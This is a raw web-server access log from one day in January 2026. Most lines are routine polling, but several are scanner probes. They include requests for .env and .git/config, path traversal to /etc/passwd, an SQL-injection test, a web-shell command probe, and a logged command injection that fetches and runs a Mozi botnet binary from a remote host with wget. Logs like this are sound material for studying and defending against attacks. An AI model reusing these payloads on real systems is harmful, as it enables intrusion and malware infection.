[08/Jan/2026 07:45:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 07:49:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 07:54:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 07:57:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:03:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:07:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:11:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:15:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:20:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:24:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:29:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:33:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:37:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:42:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:46:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:50:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:55:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 08:59:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:04:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:07:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:12:19] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [08/Jan/2026 09:15:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:17:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:21:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:24:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:29:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:34:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:38:14] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [08/Jan/2026 09:40:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:43:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:47:27] "GET / HTTP/1.1" 200 - +91.196.152.111 - - [08/Jan/2026 09:48:36] code 400, message Bad request version ('À#À¬À®À+À') +91.196.152.111 - - [08/Jan/2026 09:48:36] "\x16\x03\x03\x01¥\x01\x00\x01¡\x03\x03á#\x01a+¿\x82\x18¶ãm~\x1d¦ã\x16ö\x93{fxñ0\x91-îÁò\x83\x82±l ±ÝÑ\x9dÉD>(Àò.\x03ÏIâÊ\x13ðÂ3uö«Û4\x07´{wºö>\x00\x8a\x00\x16\x003\x00gÀ\x9eÀ¢\x00\x9e\x009\x00kÀ\x9fÀ£\x00\x9f\x00E\x00¾\x00\x88\x00Ä\x00\x9aÀ\x08À\x09À#À¬À®À+À" 400 - +91.196.152.109 - - [08/Jan/2026 09:48:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 09:50:22] "GET / HTTP/1.1" 200 - +35.216.156.249 - - [08/Jan/2026 09:50:32] code 400, message Bad request version ('$Þ¿g\\xad¶\\x18¡\\x8a\\x9e\\x88\\x16àÓaf¶\\x8etJ"/\\x0eH') +35.216.156.249 - - [08/Jan/2026 09:50:32] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03êJ\x1d\x0fjcÓ;1ø\x9d\x86³\x80íµ\x92c.\x1bÒ£\x0bTOX¡Âý¢÷¦ $Þ¿g­¶\x18¡\x8a\x9e\x88\x16àÓaf¶\x8etJ"/\x0eH" 400 - +35.216.156.249 - - [08/Jan/2026 09:50:32] "GET / HTTP/1.1" 200 - +35.216.156.249 - - [08/Jan/2026 09:50:32] "GET / HTTP/1.1" 200 - +35.216.156.249 - - [08/Jan/2026 09:50:32] code 404, message File not found +35.216.156.249 - - [08/Jan/2026 09:50:32] "GET /telescope/requests HTTP/1.1" 404 - +35.216.156.249 - - [08/Jan/2026 09:50:32] code 404, message File not found +35.216.156.249 - - [08/Jan/2026 09:50:32] "GET /info.php HTTP/1.1" 404 - +35.216.156.249 - - [08/Jan/2026 09:50:33] code 404, message File not found +35.216.156.249 - - [08/Jan/2026 09:50:33] "GET /.git/config HTTP/1.1" 404 - +35.216.156.249 - - [08/Jan/2026 09:50:33] code 404, message File not found +35.216.156.249 - - [08/Jan/2026 09:50:33] "GET /server-status HTTP/1.1" 404 - +35.216.156.249 - - [08/Jan/2026 09:50:33] code 404, message File not found +35.216.156.249 - - [08/Jan/2026 09:50:33] "GET /config.json HTTP/1.1" 404 - +35.216.156.249 - - [08/Jan/2026 09:50:33] code 404, message File not found +35.216.156.249 - - [08/Jan/2026 09:50:33] "GET /.env HTTP/1.1" 404 - +35.216.183.140 - - [08/Jan/2026 09:50:36] "GET / HTTP/1.1" 200 - +91.196.152.122 - - [08/Jan/2026 09:51:34] code 404, message File not found +91.196.152.122 - - [08/Jan/2026 09:51:34] "GET /favicon.ico HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 09:56:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 10:00:00] "GET / HTTP/1.1" 200 - +154.222.30.155 - - [08/Jan/2026 10:00:06] code 404, message File not found +154.222.30.155 - - [08/Jan/2026 10:00:06] "GET http://www.ip111.cn/?0.48405987544433676113631016 HTTP/1.1" 404 - +154.222.30.155 - - [08/Jan/2026 10:00:07] code 404, message File not found +154.222.30.155 - - [08/Jan/2026 10:00:07] "GET http://api.xiaoxiangdaili.com/?0.1026339934032941445760076 HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 10:03:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 10:08:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 10:13:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 10:16:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 10:21:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 10:25:54] "GET / HTTP/1.1" 200 - +172.202.104.71 - - [08/Jan/2026 10:28:57] code 400, message Bad request syntax ('MGLNDD_83.222.24.31_8080') +172.202.104.71 - - [08/Jan/2026 10:28:57] "MGLNDD_83.222.24.31_8080" 400 - +185.16.39.146 - - [08/Jan/2026 10:31:06] "GET / HTTP/1.1" 200 - +87.236.176.211 - - [08/Jan/2026 10:35:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 10:36:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 10:40:26] "GET / HTTP/1.1" 200 - +184.105.247.194 - - [08/Jan/2026 10:42:59] code 400, message Bad HTTP/0.9 request type ("\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03'\\x13:g[EFuñ[g§¨\\x12\\x13GNw]²Ô\\x1732²u~@\\x82dz¥\\x00\\x00\\x1aÀ/À+À\\x11À\\x07À\\x13À") +184.105.247.194 - - [08/Jan/2026 10:42:59] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03'\x13:g[EFuñ[g§¨\x12\x13GNw]²Ô\x1732²u~@\x82dz¥\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +185.16.39.146 - - [08/Jan/2026 10:43:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 10:48:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 10:52:33] "GET / HTTP/1.1" 200 - +45.194.92.18 - - [08/Jan/2026 10:56:42] code 400, message Bad request version ('encoding="UTF-8"?>') +45.194.92.18 - - [08/Jan/2026 10:56:42] "1111\x0c\x01\x00\x00\x04\x00\x00\x01\x1b\x09\x00\x00\x02\x01\x00\x00ü\x00\x00\x00admin\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00queryBasicCfg\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 - +45.194.92.18 - - [08/Jan/2026 10:56:42] code 404, message File not found +45.194.92.18 - - [08/Jan/2026 10:56:42] "GET /index.htm HTTP/1.1" 404 - +45.194.92.18 - - [08/Jan/2026 10:56:42] "GET / HTTP/1.1" 200 - +45.194.92.18 - - [08/Jan/2026 10:56:42] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [08/Jan/2026 10:56:42] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +45.194.92.18 - - [08/Jan/2026 10:56:42] code 400, message Bad request version ('À\\x13À') +45.194.92.18 - - [08/Jan/2026 10:56:42] "\x16\x03\x01\x05¬\x01\x00\x05¨\x03\x03ì\x94l¢\x9e\x1a>¥Áv[\x06û\x16"ÇD\x91¨\x84¤Ìù\x18ʬ0í\x0b\x809] Høk\x91СÙ}óÞ»£?\x1dÔ½!Î\x87\x15ëçê\x9d\x1f{"PÏvÏÜ\x00\x1aÀ+À/À,À0̨̩À\x09À\x13À" 400 - +45.194.92.18 - - [08/Jan/2026 10:56:43] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [08/Jan/2026 10:56:43] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +45.194.92.18 - - [08/Jan/2026 10:56:44] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [08/Jan/2026 10:56:44] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +185.16.39.146 - - [08/Jan/2026 10:57:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:00:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:05:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:09:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:14:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:17:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:23:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:26:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:31:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:36:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:41:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:44:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:48:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:53:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 11:57:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:02:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:06:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:10:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:15:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:21:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:24:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:29:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:33:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:37:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:42:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:45:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:52:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 12:55:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 13:00:59] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [08/Jan/2026 13:01:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 13:04:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 13:08:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 13:13:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 13:17:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 13:23:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 13:26:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 13:30:44] "GET / HTTP/1.1" 200 - +103.230.107.236 - - [08/Jan/2026 13:34:48] code 501, message Unsupported method ('POST') +103.230.107.236 - - [08/Jan/2026 13:34:48] "POST /_vti_bin/shtml.dll/_vti_rpc HTTP/1.1" 501 - +103.230.107.236 - - [08/Jan/2026 13:34:49] code 404, message File not found +103.230.107.236 - - [08/Jan/2026 13:34:49] "GET /horde/admin/user.php HTTP/1.1" 404 - +103.230.107.236 - - [08/Jan/2026 13:34:50] code 404, message File not found +103.230.107.236 - - [08/Jan/2026 13:34:50] "GET /login.do?message=931724*888167 HTTP/1.1" 404 - +103.230.107.236 - - [08/Jan/2026 13:34:51] code 501, message Unsupported method ('POST') +103.230.107.236 - - [08/Jan/2026 13:34:51] "POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId HTTP/1.1" 501 - +103.230.107.236 - - [08/Jan/2026 13:34:52] code 404, message File not found +103.230.107.236 - - [08/Jan/2026 13:34:52] "GET /api/v1/GetSrc HTTP/1.1" 404 - +103.230.107.236 - - [08/Jan/2026 13:34:53] code 404, message File not found +103.230.107.236 - - [08/Jan/2026 13:34:53] "GET /portal/attachment_clearTempFile.action?bean.RecId=1')+AND+EXTRACTVALUE(534543,CONCAT(0x5c,md5(999999999),0x5c))+AND+('n72Yk'='n72Yk&bean.TabName=1 HTTP/1.1" 404 - +103.230.107.236 - - [08/Jan/2026 13:34:56] code 404, message File not found +103.230.107.236 - - [08/Jan/2026 13:34:56] "GET /common/download/resource?resource=/profile/../../../../etc/passwd HTTP/1.1" 404 - +103.230.107.236 - - [08/Jan/2026 13:35:08] code 501, message Unsupported method ('POST') +103.230.107.236 - - [08/Jan/2026 13:35:08] "POST /seeyon/htmlofficeservlet HTTP/1.1" 501 - +185.16.39.146 - - [08/Jan/2026 13:35:42] "GET / HTTP/1.1" 200 - +103.230.107.236 - - [08/Jan/2026 13:36:28] code 501, message Unsupported method ('POST') +103.230.107.236 - - [08/Jan/2026 13:36:28] "POST /_vti_bin/shtml.exe/_vti_rpc HTTP/1.1" 501 - +103.230.107.236 - - [08/Jan/2026 13:36:31] code 404, message File not found +103.230.107.236 - - [08/Jan/2026 13:36:31] "GET /images/logo/logo-eoffice.php HTTP/1.1" 404 - +103.230.107.236 - - [08/Jan/2026 13:36:32] code 501, message Unsupported method ('POST') +103.230.107.236 - - [08/Jan/2026 13:36:32] "POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1" 501 - +103.230.107.236 - - [08/Jan/2026 13:36:32] code 404, message File not found +103.230.107.236 - - [08/Jan/2026 13:36:32] "GET /api/v1/GetDevice HTTP/1.1" 404 - +103.230.107.236 - - [08/Jan/2026 13:36:36] code 501, message Unsupported method ('POST') +103.230.107.236 - - [08/Jan/2026 13:36:36] "POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1" 501 - +103.230.107.236 - - [08/Jan/2026 13:36:36] code 404, message File not found +103.230.107.236 - - [08/Jan/2026 13:36:36] "GET /common/download/resource?resource=/profile/../../../../Windows/win.ini HTTP/1.1" 404 - +103.230.107.236 - - [08/Jan/2026 13:36:48] code 404, message File not found +103.230.107.236 - - [08/Jan/2026 13:36:48] "GET /seeyon/test123456.jsp?pwd=asasd3344&36rmpPJQJnptGorGvVp3zsNut7Z=ipconfig HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 13:39:09] "GET / HTTP/1.1" 200 - +135.237.127.116 - - [08/Jan/2026 13:42:57] code 400, message Bad request syntax ('MGLNDD_83.222.24.31_8080') +135.237.127.116 - - [08/Jan/2026 13:42:57] "MGLNDD_83.222.24.31_8080" 400 - +185.16.39.146 - - [08/Jan/2026 13:44:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 13:48:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 13:52:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 13:57:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:01:39] "GET / HTTP/1.1" 200 - +77.242.21.70 - - [08/Jan/2026 14:05:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:05:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:10:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:14:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:19:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:24:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:29:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:33:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:37:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:41:51] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [08/Jan/2026 14:44:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:45:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:51:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:55:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 14:58:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:04:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:09:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:12:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:18:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:21:42] "GET / HTTP/1.1" 200 - +45.33.80.243 - - [08/Jan/2026 15:22:29] code 400, message Bad request syntax ('\\x16\\x03\\x01\\x01') +45.33.80.243 - - [08/Jan/2026 15:22:29] "\x16\x03\x01\x01" 400 - +45.33.80.243 - - [08/Jan/2026 15:22:29] code 400, message Bad request syntax ('\\x16\\x03\\x01\\x01') +45.33.80.243 - - [08/Jan/2026 15:22:29] "\x16\x03\x01\x01" 400 - +185.16.39.146 - - [08/Jan/2026 15:25:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:30:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:35:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:38:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:44:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:48:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:52:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 15:56:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:00:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:05:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:09:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:13:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:18:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:22:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:28:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:31:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:35:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:39:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:44:15] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [08/Jan/2026 16:48:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:49:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:52:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 16:58:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 17:01:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 17:06:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 17:10:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 17:14:48] "GET / HTTP/1.1" 200 - +3.20.201.240 - - [08/Jan/2026 17:19:17] code 404, message File not found +3.20.201.240 - - [08/Jan/2026 17:19:17] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 17:20:17] "GET / HTTP/1.1" 200 - +18.119.209.50 - - [08/Jan/2026 17:22:03] code 404, message File not found +18.119.209.50 - - [08/Jan/2026 17:22:03] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 17:24:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 17:29:23] "GET / HTTP/1.1" 200 - +65.49.20.69 - - [08/Jan/2026 17:33:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 17:33:28] "GET / HTTP/1.1" 200 - +65.49.20.109 - - [08/Jan/2026 17:33:33] code 404, message File not found +65.49.20.109 - - [08/Jan/2026 17:33:33] "GET /favicon.ico HTTP/1.1" 404 - +65.49.1.202 - - [08/Jan/2026 17:35:44] code 400, message Bad request version ('À\\x14À') +65.49.1.202 - - [08/Jan/2026 17:35:44] "\x16\x03\x01\x00\x90\x01\x00\x00\x8c\x03\x030\x86ÃJÚ3\x0bÖ¶\x11&à\x11d\x02¼¶ç9Þ\x89Dd5类¼ÁC¹ö\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +185.16.39.146 - - [08/Jan/2026 17:36:49] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [08/Jan/2026 17:38:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 17:41:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 17:46:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 17:50:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 17:54:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 17:58:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:02:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:07:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:11:34] "GET / HTTP/1.1" 200 - +44.203.171.113 - - [08/Jan/2026 18:14:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:16:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:21:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:25:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:29:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:34:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:39:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:43:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:46:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:51:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 18:55:44] "GET / HTTP/1.1" 200 - +42.57.189.23 - - [08/Jan/2026 18:59:59] code 404, message File not found +42.57.189.23 - - [08/Jan/2026 18:59:59] "GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://42.57.189.23:57159/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron HTTP/1.0" 404 - +185.16.39.146 - - [08/Jan/2026 19:00:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 19:05:54] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('199.45.155.100', 54894) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +199.45.155.100 - - [08/Jan/2026 19:06:19] "GET / HTTP/1.1" 200 - +199.45.155.100 - - [08/Jan/2026 19:06:23] code 400, message Bad request version ('À\\x14À') +199.45.155.100 - - [08/Jan/2026 19:06:23] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03\x8dÏ\x1f\x1fºÉÑ Ùèîö¿ðn \x0f\x83Y\x06\x07é b.\x0f~$\\/4ì î~\x8f{§Ý\x11m¹æ'*Ë:\x04\x0cm8(\x00\x11M^²¢{ih¥\x91c*\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +199.45.155.100 - - [08/Jan/2026 19:06:23] "GET / HTTP/1.1" 200 - +199.45.155.100 - - [08/Jan/2026 19:06:24] code 505, message Invalid HTTP version (2.0) +199.45.155.100 - - [08/Jan/2026 19:06:24] "PRI * HTTP/2.0" 505 - +199.45.155.100 - - [08/Jan/2026 19:06:28] code 404, message File not found +199.45.155.100 - - [08/Jan/2026 19:06:28] "GET /favicon.ico HTTP/1.1" 404 - +199.45.155.100 - - [08/Jan/2026 19:06:32] code 400, message Bad request syntax ('\\x16\\x03\\x01\\x00î\\x01\\x00\\x00ê\\x03\\x03»ðâ\\x12\\x08qÙ×h~ü°Lðx') +199.45.155.100 - - [08/Jan/2026 19:06:32] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03»ðâ\x12\x08qÙ×h~ü°Lðx" 400 - +199.45.155.100 - - [08/Jan/2026 19:06:33] code 404, message File not found +199.45.155.100 - - [08/Jan/2026 19:06:33] "GET /sitemap.xml HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 19:09:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 19:13:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 19:17:51] "GET / HTTP/1.1" 200 - +91.224.92.14 - - [08/Jan/2026 19:19:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 19:22:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 19:26:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 19:31:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 19:35:09] "GET / HTTP/1.1" 200 - +147.45.112.157 - - [08/Jan/2026 19:37:35] code 400, message Bad HTTP/0.9 request type ('\\x03\\x00\\x00/*à\\x00\\x00\\x00\\x00\\x00Cookie:') +147.45.112.157 - - [08/Jan/2026 19:37:35] "\x03\x00\x00/*à\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 - +185.16.39.146 - - [08/Jan/2026 19:39:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - 